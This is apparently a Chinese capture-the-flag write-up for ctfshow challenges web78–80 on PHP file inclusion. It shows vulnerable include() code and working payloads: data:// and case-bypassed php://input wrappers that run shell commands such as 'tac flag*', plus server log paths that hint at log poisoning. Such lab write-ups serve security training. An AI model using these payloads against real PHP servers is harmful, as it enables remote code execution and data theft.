ctfshow web78-88

web78

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

可以利用伪协议

?file=data://text/plain,<?php system('ls');?>

?file=data://text/plain,<?php system('tac flag.php');?>

web79

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

加了一些限制，用通配符*即可

?file=data://text/plain,<?php system('tac flag*');?>

或者

?file=Php://input         (大写绕过)

<?php system('tac flag*');?>         (POST传参)

web80

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

对于Apache，日志存放路径：/var/log/apache/access.log 对于Ngnix，日志存放路径：/var/log/nginx/access.log 和 /var/log/nginx/error.log

https://www.freebuf.com/vuls/202819.html https://blog.csdn.net/qq_46091464/article/details/108021053 https://www.cnblogs.com/hello-py/articles/13502328.html